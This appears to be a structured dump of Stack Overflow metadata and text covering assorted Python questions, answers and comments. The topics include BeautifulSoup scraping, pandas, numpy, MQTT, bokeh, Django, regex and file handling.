has body: I am having some trouble printing only a specific value of the scraped html This the specific line of HTML my program scrapes for &lt;input name="form_key" type="hidden" value="MmghsMIlPm5bd2Dw"/&gt; My code is as follows import requests, time from bs4 import BeautifulSoup from colorama import Fore, Back, Style, init print(Fore.CYAN + "Lets begin!"") init(autoreset=True) url = raw_input("Enter URL: ") print(Fore.CYAN + "\nGetting form key") r = requests.get(url) soup = BeautifulSoup(r.content, "html.parser") data = soup.find_all("input", {'name': 'form_key', 'type':'hidden'}) for data in data: print(Fore.YELLOW + "Found Form Key:") print(data) The program scrapes it fine, but prints the entire line where I desire to only print "MmghsMIlPm5bd2Dw" (no quotes) How can I achieve this?? I have tried things like print soup.find(data).text And last_input_tag = soup.find("input", id="value") print(last_input_tag) But nothing has seemed to really work
accepted answer: http://stackoverflow.com/a/47048229
linked to: http://stackoverflow.com/q/18733023
has answer: http://stackoverflow.com/a/47048229
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81043291

http://stackoverflow.com/comment/81058868
type: Comment
has text: And `any` will efficient break on the first `True`
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47055724

http://stackoverflow.com/comment/81326656
type: Comment
comment on: http://stackoverflow.com/a/47163420
type: AnswerComment
has text: That's interesting. I didn't know that args could be passed in through a separate method. After taking a closer look at the docs on `CustomJS` and looking through some of the source code, I realized that it is possible to pass Bokeh objects directly to a `from_py_func()` callback. I updated my aswer with a solution that should work with `from_py_func()`.
score: 0

http://stackoverflow.com/q/47003574
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80955193
type: Question
score: 0
tagged with: pandas
type: UnansweredQuestion
answer count: 1
has title: Pandas - key error - not recognizing column name from csv file
has answer: http://stackoverflow.com/a/54885222
has comment: http://stackoverflow.com/comment/80954579
has body: I am picking up the most recent csv file in a folder as shown below, and then converting into a DataFrame 'ES_VX_comb_LL_15M'. import pandas as pd import glob filename2 = max(glob.iglob(r"C:\Users\cost9\OneDrive\Documents\PYTHON\Daily Tasks\Pairs Trading\ES_VX\CSV\15M\Beta\*.csv")) f6 = open(filename2) ES_VX_comb_LL_15M = pd.read_csv(f6) ES_VX_comb_LL_15M['Close_ES'] = ES_VX_comb_LL_15M[pd.to_numeric(ES_VX_comb_LL_15M['Close_ES'])] ES_VX_comb_LL_15M = ES_VX_comb_LL_15M[np.isfinite(ES_VX_comb_LL_15M['Close_ES1'])] path_to_csv = r'C:\Users\cost9\OneDrive\Documents\PYTHON\Daily Tasks\Pairs Trading\ES_VX\CSV\15M\Lead_Lag\ES_VX_comb_LL_15M_.csv' ES_VX_comb_LL_15M.to_csv(path_or_buf = path_to_csv) Unfortunately I get the error "KeyError: 'Close_ES'" referring to a column in the csv file. This error refers to the to_numeric line above. Normally this isn't an issue and I'm not sure what the problem is - the CSV file looks like this: Ticker_x Date Close_ES 1 ES U7 3/14/2017 6:14 2360 2 ES U7 3/14/2017 6:29 2362.25 3 ES U7 3/14/2017 7:44 2361.25 4 ES U7 3/14/2017 7:59 2359.25 5 ES U7 3/14/2017 8:14 2357.25 6 ES U7 3/14/2017 8:29 2355 7 ES U7 3/14/2017 8:44 2353.75 8 ES U7 3/14/2017 8:59 2354.75 9 ES U7 3/14/2017 9:14 2354.5 10 ES U7 3/14/2017 9:29 2359.25 11 ES U7 3/14/2017 9:44 2358.5 12 ES U7 3/14/2017 9:59 2359 13 ES U7 3/14/2017 10:14 2355.5 14 ES U7 3/14/2017 10:29 2356 15 ES U7 3/14/2017 10:44 2356 So it looks like it's separating the columns/values correctly. Why is the 'Close_ES' column not being recognized?
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/80953712

http://stackoverflow.com/a/47010338
answers question: http://stackoverflow.com/q/47010215
has body: Your on_connect() callback must have this signature (from paho python doc) : def on_connect(client, userdata, flags, rc): If you want to use it in another class you can use this signature : def on_connect(self, client, userdata, flags, rc): Furthermore, variable self is undefined in the on_connect() and on_message() callbacks, for example : self.subscribe(MQTT_Topic,0) must be mqttc.subscribte(MQTT_Topic, 0) Hope this will help you
has comment: http://stackoverflow.com/comment/81020355
score: 0
has comment: http://stackoverflow.com/comment/81010627
type: Answer

http://stackoverflow.com/comment/80771455
has text: You are not calling `main`. Add `main()` in the last line of the script.
type: Comment
comment on: http://stackoverflow.com/q/46912194
score: 1
type: QuestionComment

http://stackoverflow.com/comment/80930590
comment on: http://stackoverflow.com/a/46991833
score: 0
type: Comment
has text: Thank you so much for help me :-)
type: AnswerComment

http://stackoverflow.com/comment/80956022
has text: This implementation of KMP is not efficient though. You can choose functional programming though. A good intuitive reference is here: https://www.youtube.com/watch?v=GTJr8OvyEVQ
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47004508
score: 0

http://stackoverflow.com/q/46944721
has title: Append individual Pandas DataFrame Rows to List and turn into Matrices
tagged with: python
score: 0
answer count: 2
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
tagged with: matrix
has answer: http://stackoverflow.com/a/46944748
has answer: http://stackoverflow.com/a/46944821
has body: I have a csv of hundred of rows each holding unique values that need to stay together. They are in this format: WordTeams (column name) 1 cat, dog, frisbee, person, rat 2 mouse, cheese, saw, mat, moose I am trying to use pandas to turn them into a list to look like this: [cat, dog, frisbee, person, rat] [mouse, cheese, saw, mat, moose] I am new to pandas and cannot figure out how to append individual rows to lists. Finally, I hope to turn these lists into matrices that compare against themselves, like below. I intend to populate the values by calling each cell value to an api. How would I use pandas to structure my data into such matrices? cat dog frisbee person rat cat dog frisbee person rat
type: Question
type: UnansweredQuestion

http://stackoverflow.com/a/46987833
upvote count: 2
score: 2
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/46987736
has body: A bit improved your solution: for l1 in mi.levels[0]: df1.loc[:, (l1, "c*d")] = df1.loc[:,(l1,"c")]*df1.loc[:,(l1,"d")] mux = pd.MultiIndex.from_product([df1.columns.levels[0], ['c','d','c*d']]) df1 = df1.reindex(columns=mux) print (df1) A B c d c*d c d c*d 0 1 2 2 3 4 12 1 5 6 30 7 8 56 2 9 10 90 11 12 132 Another solution with stack and unstack: mux = pd.MultiIndex.from_product([df1.columns.levels[0], ['c','d','c_d']]) df1 = df1.stack(0) .assign(c_d = lambda x: x.sum(1)) .unstack() .swaplevel(0,1,1) .reindex(columns=mux) print (df1) A B c d c_d c d c_d 0 1 2 3 3 4 7 1 5 6 11 7 8 15 2 9 10 19 11 12 23 df2 = df1.xs("c", axis=1, level=1).mul(df1.xs("d", axis=1, level=1)) df2.columns = pd.MultiIndex.from_product([df2.columns, ['c*d']]) print (df2) A B c*d c*d 0 2 12 1 30 56 2 90 132 mux = pd.MultiIndex.from_product([df2.columns.levels[0], ['c','d','c*d']]) df = df1.join(df2).reindex(columns=mux) print (df) A B c d c*d c d c*d 0 1 2 2 3 4 12 1 5 6 30 7 8 56 2 9 10 90 11 12 132

http://stackoverflow.com/a/46925219
type: Answer
answers question: http://stackoverflow.com/q/46925154
has comment: http://stackoverflow.com/comment/80797752
has body: Use In [5759]: s = df.dtypes == pd.Series(d) In [5760]: ss = s[~s] In [5761]: if ss.empty: ...: print('sucess') ...: else: ...: print ('columns %s have different data type' % ss.index.tolist()) ...: ...: columns ['name'] have different data type Details In [5763]: df Out[5763]: id name value 0 1 abc 22.3 1 2 asd 11.9 2 3 asw 2.4 In [5764]: d Out[5764]: {'id': 'int64', 'name': 'str', 'value': 'float64'}
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80797961
score: 1

http://stackoverflow.com/comment/80938116
type: QuestionComment
comment on: http://stackoverflow.com/q/46995781
score: 0
type: Comment
has text: show your traceback error

http://stackoverflow.com/comment/80879269
score: 0
has text: @prune, I have posted the code. it's the L2[5:9] = L1[5:9]. Actually the correct answer, according to the MyProgrammingLab turned out to be "L2[5:9] = L1". the "L2 does not contain the correct values" is the closest to an 'error message' I get from MPL. I am aware that such a line of code wouldn't actually do anything, but that's part of the aggravation of this class. I can punch code into IDLE and get good response after good response until my fingers bleed. But if it's not one of the code snippets MPL is looking for it, it's wrong. The challenge is MPL doesn't give much in error messages.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46964660

http://stackoverflow.com/q/47030142
tagged with: nginx
tagged with: python
has body: I am going through this tutorial http://uwsgi-docs.readthedocs.io/en/latest/tutorials/Django_and_nginx.html but i don't know what is the socket file, mysite.sock in this case. Could you tell me what is this file and what should be inside ? thanks
tagged with: uwsgi
type: Question
has title: what are sockets - uwsgi / nginx - django
type: UnansweredQuestion
answer count: 1
tagged with: django
has answer: http://stackoverflow.com/a/47030295
score: 0

http://stackoverflow.com/comment/80781098
score: 0
comment on: http://stackoverflow.com/q/46916783
type: Comment
type: QuestionComment
has text: @ErikBrodyDreyer "Betsy" would be in the name column in the second line.

http://stackoverflow.com/comment/81199129
type: Comment
comment on: http://stackoverflow.com/a/47052512
score: 0
type: AnswerComment
has text: No sir. Trying now.

http://stackoverflow.com/a/46962874
score: 4
answers question: http://stackoverflow.com/q/46962769
has comment: http://stackoverflow.com/comment/81345936
has body: Use os.path.join: savePth = os.path.join('D:', 'previous folder', '002200 - AAA') os.chdir(savePth) Then you don't have to worry about escaping directory separators, and indeed it will handle OS-specific separators automatically depending on what OS it is run from.
type: Answer
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/47064067
has answer: http://stackoverflow.com/a/47064250
has body: When I try to open the file for this function, I don't get all the names. I want to get this: Smith, Joe,9911991199,smithjoe9,99,88,77,66 Ash, Wood,9912334456,ashwood,11,22,33,44 Full, Kare,9913243567,fullkare,78,58,68,88 But I get this when I test the function: ['Ash, Wood,9912334456,ashwood,11,22,33,44\n', 'Full, Kare,9913243567,fullkare,78,58,68,88\n'] Can anyone please help me fix this? How can I include the first person's name as well? def open_grades_file(filename): '''(str) -&gt; file Open filename, read past its one-line header and return the open file. ''' file = open(filename, 'r') file.readline() for line in file: line.rstrip('\n') return file
has comment: http://stackoverflow.com/comment/81076427
has comment: http://stackoverflow.com/comment/81076414
accepted answer: http://stackoverflow.com/a/47064168
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81076583
has answer: http://stackoverflow.com/a/47064168
has comment: http://stackoverflow.com/comment/81076434
type: AnsweredQuestion
answer count: 3
has answer: http://stackoverflow.com/a/47064299
score: 1
downvote count: 0
tagged with: file
has comment: http://stackoverflow.com/comment/81076479
has comment: http://stackoverflow.com/comment/81076436
has title: Opening files of names
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81076606
possible better answer: http://stackoverflow.com/a/47064299
has comment: http://stackoverflow.com/comment/81076461

http://stackoverflow.com/q/46990838
has comment: http://stackoverflow.com/comment/80928729
answer count: 1
downvote count: 1
tagged with: image-processing
upvote count: 8
favorite count: 0
type: Question
has title: numpy transforming RGB image to YIQ color space
tagged with: numpy
accepted answer: http://stackoverflow.com/a/46991488
has comment: http://stackoverflow.com/comment/80929063
tagged with: python
type: AnsweredQuestion
tagged with: multidimensional-array
has body: For a class, I need to transform RGB image into YIQ. We have been told that the conversion can be made by: I started to write a messy code with loops to have the matrix multiplication and then I found out a function skimage.color.yiq2rgb(imYIQ) and when I looked inside to see what they were doing I saw the following (I'm copying stuff so it will be more clear): yiq_from_rgb = yiq_from_rgb = np.array([[0.299, 0.587, 0.114], [0.59590059, -0.27455667, -0.32134392], [0.21153661, -0.52273617, 0.31119955]]) return np.dot(arr, yiq_from_rgb.T.copy()) when arr is just the RGB pic as a matrix I'm trying to understand why this works? why do they take the Transpose matrix? (.T) And how exactly does the dot product work when the arr shape is different than the yiq_from_rgb?
has comment: http://stackoverflow.com/comment/80929410
has answer: http://stackoverflow.com/a/46991488
tagged with: matrix
score: 7

http://stackoverflow.com/q/47055206
type: Question
tagged with: python-3.x
answer count: 2
type: UnansweredQuestion
upvote count: 1
tagged with: python
downvote count: 1
has answer: http://stackoverflow.com/a/47055673
favorite count: 0
tagged with: python-2.7
has body: Suppose there is a table in a file: VLan Interface State Vlan1 Fa0/0 Up Vlan2 Fa0/1 Down Vlan3 Fa0/3 Up Now I actually need to get the name of the VLan &amp; Interface whose state is up. But for that I need to split the table at first. I am new to python and cannot really figure out how to split this table.
score: 0
has answer: http://stackoverflow.com/a/47055360
has title: How to split a table in a text file in python?

http://stackoverflow.com/q/46971830
score: 3
type: UnansweredQuestion
tagged with: python
has title: what's the best practice for accessing shared data with python multi-threading
upvote count: 3
has answer: http://stackoverflow.com/a/46972037
answer count: 2
downvote count: 0
tagged with: multithreading
linked to: http://stackoverflow.com/q/6319207
has answer: http://stackoverflow.com/a/46972023
favorite count: 0
has body: In python multi-threading, there are some atomic types that can be accessed by multiple threads without protection(list, dict, etc). There are also some types need protected by lock. My question is: where can I find official document that list all atomic types, I can google some answers, but they are not "official" and out of date. some book suggest that we should protect all shared data with lock, because atomic type may because non-atomic, we shouldn't rely on it. Is this correct? because lock surely have overhead, is this overhead negligible even with big program?
type: Question

http://stackoverflow.com/q/46937794
upvote count: 0
duplicate of: http://stackoverflow.com/q/22937618
downvote count: 1
has comment: http://stackoverflow.com/comment/80822832
has title: How to use \b in a regex correctly when it also contains (literal) periods?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46937887
tagged with: python-2.7
has answer: http://stackoverflow.com/a/46937887
answer count: 1
tagged with: python
has body: My goal in the below was to create a regex that would match the string "a.b.c.", (where the . are actual periods), but not match strings like (say) "ga.b.c.h" (i.e., non-space, alphanumeric characters before and after the "a.b.c." part). My thinking was to use the \b operator, and of course I had to also escape the periods in the expression in my regex. The Python 2 documentation states (https://docs.python.org/2/library/re.html) that \b is formally the boundary between \w and \W. I do not understand why this expression fails to match: &gt;&gt;&gt; reg = re.compile(r'\ba\.b\.c\.\b') &gt;&gt;&gt; bool(re.match(reg, "a.b.c.")) False Can anyone here enlighten me?
score: -1
tagged with: regex
has comment: http://stackoverflow.com/comment/80824714
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/1324676
has comment: http://stackoverflow.com/comment/80822872
linked to: http://stackoverflow.com/q/1324676

http://stackoverflow.com/comment/80979763
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47016631
has text: @DeepSpace Doesn't work :( any suggestions?
score: 0

http://stackoverflow.com/q/47033316
has answer: http://stackoverflow.com/a/47033363
type: AnsweredQuestion
score: 1
answer count: 1
has title: Add elements of dictionary values
upvote count: 1
accepted answer: http://stackoverflow.com/a/47033363
has body: I have a dictionary which looks the like the following output_dict = {"weight_1": [1, 2, 3], "weight_2": [4, 5, 6]} I want the to have a result list which looks like this results_list = [5, 7, 9] This also needs to work for n amount of weights, so for example if we had output_dict = {"weight_1": [1, 2, 3], "weight_2": [4, 5, 6], "weight_3": [7, 8, 9]} The output would be results_list = [12, 15, 18]
favorite count: 0
type: Question
tagged with: python-3.x
downvote count: 0
tagged with: python
tagged with: dictionary

http://stackoverflow.com/comment/81060721
score: 0
comment on: http://stackoverflow.com/q/47056701
has text: @Bharath Neither of them do
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80837099
type: Comment
has text: It comes out better print wise and then comes out wrong and the output comes out with no spaces or ","
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46944456

http://stackoverflow.com/q/46920538
has answer: http://stackoverflow.com/a/50730032
has answer: http://stackoverflow.com/a/65933606
tagged with: python
has answer: http://stackoverflow.com/a/46920634
upvote count: 16
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46920661
downvote count: 0
score: 16
has answer: http://stackoverflow.com/a/46920741
tagged with: shell
tagged with: jupyter-notebook
favorite count: 0
type: Question
tagged with: terminal
tagged with: linux
accepted answer: http://stackoverflow.com/a/46920661
possible better answer: http://stackoverflow.com/a/50730032
answer count: 5
has body: I know how to run command line in Jupyter : using ! For example, run an image file 2.jpg on Python process.py ! python classify.py --filename /Users/images/2.jpg Question is, how to process all files of a folder in iteration way (idx) in Jupyter cell, something like this: for idx in range(10): ! python process.py --filename /Users/images/idx.jpg Thanks PS: I tried path , did not work: for i in range(1,10): cur_path = '/Users/images/'+str(i)+'.jpg' path = os.path.expanduser(cur_path) print(i,path) ! python process.py --filename path
has title: Running for loop terminal commands in Jupyter

http://stackoverflow.com/comment/80839480
score: 0
has text: Are you looking for an optimized solution or a different output?
comment on: http://stackoverflow.com/q/46946110
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47021175
answer count: 2
downvote count: 0
score: 1
upvote count: 1
tagged with: bokeh
has body: I am working on a bokeh visualisation, one requirement is that it runs without a server, as such I am using CustomJS to implement interactivity on the client side using javascript. Passing ColumnDataSources to CustomJS works fine to update plots interactively. What I cannot do however, is just embed some arbitrary json data into the output html. See the self contained example below: from bokeh.io import output_file from bokeh.layouts import widgetbox from bokeh.models import CustomJS from bokeh.models.widgets import Div, Button from bokeh.plotting import show data_for_client = { "x": 3, "y": { "foo": [1, 2, 3], "bar": {"some_bar": "doge", "other bar": "much json"} }, "z": [[1, 2], [3, 4]] } callback = CustomJS(args={"data_for_client": data_for_client}, code=""" console.log(data_for_client); """) content = widgetbox( Button(label="click here", callback=callback), Div(text="some complicated interactive stuff based on json content here") ) output_file("issue.html") show(content) In my case, the data_for_client is a complicated deeply nested json, different parts of this json are used depending on user interaction with some widgets. I do not need to make any modifications to the json data based on user interaction, or attach any listeners or anything special. I just need the content of the json value to be available in the CustomJS callback. For simple column data, I can wrap my data in a ColumnDataSource and pass that as an arg to CustomJS, however I do not find anything similar for plain json data. The code above fails with message: ValueError: expected an element of Dict(String, Instance(Model)), got {'data_for_client': {'x': 3, 'y': {'foo': [1, 2, 3], 'bar': {'some_bar': 'doge', 'other bar': 'much json'}}, 'z': [[1, 2], [3, 4]]}}
favorite count: 0
type: Question
has title: How to pass arbitrary `json` data from python to bokeh using `CustomJS`
has answer: http://stackoverflow.com/a/47021553
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47039810

http://stackoverflow.com/q/46962319
has body: In one of my models that contains a PolygonField I have a to_dict method that takes all the values and turns them into a readable dictionary. I do a similar thing for a model that has a PointField and it looks like this: 'point': { 'type': 'Point', 'coordinates': [self.point.x, self.point.y] }, For the PolygonField I have to loop through the points to put them in the dictionary. I tried this but as expected, django complained: 'polygon': { 'type': 'Polygon', 'coordinates': [ for point in self.path: [point.x, point.y] ] }, How do you add all the points from a PolygonField into a dictionary?
favorite count: 0
type: Question
tagged with: geodjango
has title: How to extract a list of points from Django PolygonField?
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46962968
score: 1
has answer: http://stackoverflow.com/a/46962968
answer count: 1
downvote count: 0
tagged with: django
upvote count: 1

http://stackoverflow.com/comment/81064420
type: Comment
type: AnswerComment
has text: when I print this, i get this result "<zip object at 0x0000025B826CB588>" any idea
comment on: http://stackoverflow.com/a/47058445
score: 0

http://stackoverflow.com/a/46909577
answers question: http://stackoverflow.com/q/46909017
downvote count: 3
has comment: http://stackoverflow.com/comment/80766518
has comment: http://stackoverflow.com/comment/80766827
has comment: http://stackoverflow.com/comment/80766193
type: Answer
score: -1
has body: Firstly, cursor.execute('INSERT INTO table(device, number1, number2) VALUES (%s,%d,%f)',(device_var,number1_var, number2_var)) seems wrong. Similarly second version is wrong too. Third with .format is correct. Then why did query not run? Because of the reason below: Starting with 1.2.0, MySQLdb disables autocommit by default, as required by the DB-API standard (PEP-249). If you are using InnoDB tables or some other type of transactional table type, you'll need to do connection.commit() before closing the connection, or else none of your changes will be written to the database. Conversely, you can also use connection.rollback() to throw away any changes you've made since the last commit. Commit before closing your connection. db=mysql.connect(user="root",passwd="",db="some_db",unix_socket="/opt/lampp/var/mysql/mysql.sock") cursor=db.cursor() cursor.execute("insert into my table ..") db.commit()
has comment: http://stackoverflow.com/comment/80766572
upvote count: 2

http://stackoverflow.com/comment/80836016
type: Comment
type: QuestionComment
has text: That's what `x=workdaystart(day)` does, it stores the start hour in the variable `x`.
comment on: http://stackoverflow.com/q/46944277
score: 1

http://stackoverflow.com/a/46976545
score: -3
type: Answer
downvote count: 6
upvote count: 3
answers question: http://stackoverflow.com/q/46976256
has body: Use pytest. It does discover tests in folders. In your case you just need to install in via pip (pip install pytest) and then run in your root folder pytest tests.

http://stackoverflow.com/comment/80999933
comment on: http://stackoverflow.com/a/47026328
type: AnswerComment
has text: Works for me on a Windows PC.
type: Comment
score: 0

http://stackoverflow.com/comment/81108395
score: 0
type: Comment
has text: wow so surprised by the code that I forgot the important part! :-)
comment on: http://stackoverflow.com/a/47064253
type: AnswerComment

http://stackoverflow.com/q/47011299
has comment: http://stackoverflow.com/comment/80968995
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47011448
has answer: http://stackoverflow.com/a/47011448
has body: result = [(u'ABC', u'(Choose field)', u'ABCD', u'aa', u'A', u'A_100')] I'm trying to remove '(Choose field)' from the above list using the following syntax: result.remove('(Choose field)') # and result.remove(&quot;'(Choose field)'&quot;) But both things are not working fine and it ends up with this error {ValueError}list.remove(x): x not in list
has comment: http://stackoverflow.com/comment/80969022
tagged with: python
has comment: http://stackoverflow.com/comment/80969168
linked to: http://stackoverflow.com/q/2793324
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47011450
has comment: http://stackoverflow.com/comment/80969054
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/72199448
upvote count: 2
has comment: http://stackoverflow.com/comment/80969053
downvote count: 2
has comment: http://stackoverflow.com/comment/80970014
has title: How to remove Specific values in python list
has comment: http://stackoverflow.com/comment/80969127
accepted answer: http://stackoverflow.com/a/47011450

http://stackoverflow.com/a/46941129
downvote count: 0
has comment: http://stackoverflow.com/comment/80853779
upvote count: 1
has comment: http://stackoverflow.com/comment/80956787
score: 1
answers question: http://stackoverflow.com/q/46940960
type: Answer
has comment: http://stackoverflow.com/comment/80836087
has body: You can use get_dummies which does exactly what you want: import pandas as pd df = pd.DataFrame({"Categorical": ["a", "b", "c", "a"]}) df &gt;&gt;&gt; Categorical 0 a 1 b 2 c 3 a pd.concat([df, pd.get_dummies(df["Categorical"])], axis=1) &gt;&gt;&gt; Categorical a b c 0 a 1 0 0 1 b 0 1 0 2 c 0 0 1 3 a 1 0 0

http://stackoverflow.com/a/46912832
upvote count: 1
has body: I guess the problem is that mock_hf is not what you want to patch. try with: from unittest.mock import patch class FooTestCase(unittest.TestCase): def test_simple(self): with patch('modules.MyHelperModule.helper_function') as mock_hf: my_obj = MyObj() my_obj.do_something() mock_hf.assert_called_with(1)
score: 1
answers question: http://stackoverflow.com/q/46912552
type: Answer
downvote count: 0

http://stackoverflow.com/a/46919277
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80787748
has body: The other question you linked uses incorrect terminology; it's asking about Python lists, whereas you're using a Numpy array. Slicing a list does give you a copy of the chosen range, but slicing an array gives you a view instead. Changes you make to the view are reflected in the original. With Numpy arrays, you need to use copy() to get a separate copy that you can change without affecting the original. This is a design choice, because Numpy arrays can often be very large and you wouldn't want to copy them inadvertently.
answers question: http://stackoverflow.com/q/46919216
type: Answer
accepted answer of: http://stackoverflow.com/q/46919216
has comment: http://stackoverflow.com/comment/80786092
upvote count: 3
score: 3

http://stackoverflow.com/comment/80821430
has text: The `strip` function has nothing to do with this. Did you mean `split`?
comment on: http://stackoverflow.com/q/46937126
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/80960277
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47006847
type: AnswerComment
has text: @alfasin that was in the original code, I wouldn't do that either.

http://stackoverflow.com/comment/80869355
comment on: http://stackoverflow.com/q/46960909
type: Comment
type: QuestionComment
score: 0
has text: @dcg You said: "Why don't you do that while computing the indices?" I don't know how to do that. Here is the code for identifying the rows missing_id_vals = [i for i, a in enumerate(my_original_dataset) if not a.get("id", False)]

http://stackoverflow.com/a/47062311
score: 0
accepted answer of: http://stackoverflow.com/q/47057076
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47057076
has body: This works as excepted: def descendants(nodeID): descendants = [] stack = [] item = vt.comments.find_one({'_id': nodeID }) stack.append(item) stack.sort(key=lambda x: x['order'], reverse=True) while(len(stack) &gt; 0): currentNode = stack.pop() descendants.append(child['_id']) children = vt.comments.find({'parent': currentNode["_id"] }) for child in children: stack.append(child) stack.sort(key=lambda x: x['order'], reverse=True) print(descendants)
type: Answer

http://stackoverflow.com/q/47053416
has comment: http://stackoverflow.com/comment/81055894
favorite count: 0
type: Question
has title: Extracting passing year from resume
has comment: http://stackoverflow.com/comment/81057208
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/81053741
has comment: http://stackoverflow.com/comment/81056087
tagged with: python
has comment: http://stackoverflow.com/comment/81055820
has body: I have written logic to extract the passing year from the resume. I extract degree using lookup of degree list. Here is the link for text and code - https://github.com/karimkhanp/resumeparser After having all degrees in CV I do line split and checking each line. If any degree present in any line then check if is there any 4 digit number starting with 19 or 20 in the same line. Consider it a year. Logic code: def get_passingyear(self, text, education): text_lines = text.splitlines() passing_year = [] for line in text_lines: for degree in education: if degree in line: year = re.findall('\b(19|20)\d{2}\b', text) p_year = {} if len(year) &gt; 1: year = '-'.join(year) p_year[degree]= year break else: p_year[degree]= year break Is there any better way to write this code? I have added break to exit the loop if the year of the degree is fetched. I appreciate it is there any better logic for the same
has answer: http://stackoverflow.com/a/47055180
answer count: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47062493
linked to: http://stackoverflow.com/q/36487709
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47062621
duplicate of: http://stackoverflow.com/q/36487709
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/47062516
has answer: http://stackoverflow.com/a/51744520
downvote count: 0
has body: If I wanted python to read every 2nd (or every 4th) line of a file, how could I tell it to do so? Additionally, if I wanted to read line 2 of a .txt file, but every 4 lines after that (next line would be line 6, then 10, and so on forth), how could I make it do so?
tagged with: loops
has title: How can I get python to read every nth line of a .txt file?
score: 8
favorite count: 0
type: Question
tagged with: for-loop
has answer: http://stackoverflow.com/a/47062598
upvote count: 8

http://stackoverflow.com/comment/80925696
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/46989589
has text: Thanks. This is simple and short
type: Comment

http://stackoverflow.com/q/46936260
has comment: http://stackoverflow.com/comment/80820451
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80820432
tagged with: python
tagged with: minimize
has comment: http://stackoverflow.com/comment/80820191
tagged with: optimization
has comment: http://stackoverflow.com/comment/80820655
has comment: http://stackoverflow.com/comment/80819851
has comment: http://stackoverflow.com/comment/80820056
has answer: http://stackoverflow.com/a/46977403
answer count: 2
score: 1
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80820728
has comment: http://stackoverflow.com/comment/80820062
tagged with: scipy
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80820001
has title: scipy optimize minimize not finding optimal solution
has body: I have a constrained optimization problem where I have a number of products I want to spend money on and estimate my total returns based on models I built for each individual product. I'm using scipy.optimzie.minimize to find the optimal spend given the individual models output. The problem I'm having is that the optimizer finishes with a "optimizer terminated successfully" flag, but very clearly does not find the optimal solution. In fact, the output using the original seed/x0 is better than the output produced from the optimizer. I put a print statement in the objective function and you can see at one point it just drops off a cliff. Does anyone have any idea why this would happen/how to fix it? I've included a reduced version of my code below. If my products are ['P1','P2',... 'P9'], and I have a model for each of them # estimates returns on spend for each product model1 = lambda money : func1(money *betas_a) model2 = lambda money : func2(money,*betas_b) ... etc where func is one of def power_curve(x,beta1,beta2): return beta1*x**beta2 def mm_curve(x,beta1,beta2): "Beta2 &gt;= 0" return (beta1*x)/(1+beta2*x) def dbl_exponential(x,beta1,beta2,beta3,beta4): return beta1**(beta2**(x/beta4))*beta3 def neg_exp(x,beta1,beta2): "Beta2 &gt; 0" return beta1*(1-np.exp(-beta2*x)) I now want to optimize my spend in each in order to maximize my total returns. To do this is use scipy.optimize.minimize with a wrapper around the following function: def budget(products, budget, betas, models): """ Given a budget distributed across each product, estimate total returns. products = str: names of each individual product budget = list-floats: amount of money/spend corresponding to each product models = list-funcs: function to use to predict individual returns corresponding to each product betas = dict: keys are product names - values are list of betas to feed to corresponding model """ results = [] target_total = 0 # total returns assert len(products) == len(budget) == len(betas) # fo…
has answer: http://stackoverflow.com/a/46969578

http://stackoverflow.com/comment/80934829
type: QuestionComment
has text: I don’t believe you that this code will produce *that* error message.
comment on: http://stackoverflow.com/q/46994144
type: Comment
score: 0

http://stackoverflow.com/q/47061839
has comment: http://stackoverflow.com/comment/81071823
tagged with: tkinter
has comment: http://stackoverflow.com/comment/81072157
has comment: http://stackoverflow.com/comment/81073742
score: 0
answer count: 2
has title: can't place frame inside a toplevel
linked to: http://stackoverflow.com/q/22764927
has answer: http://stackoverflow.com/a/47066321
has comment: http://stackoverflow.com/comment/81071986
type: Question
has comment: http://stackoverflow.com/comment/81072327
has comment: http://stackoverflow.com/comment/81072406
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/54633681
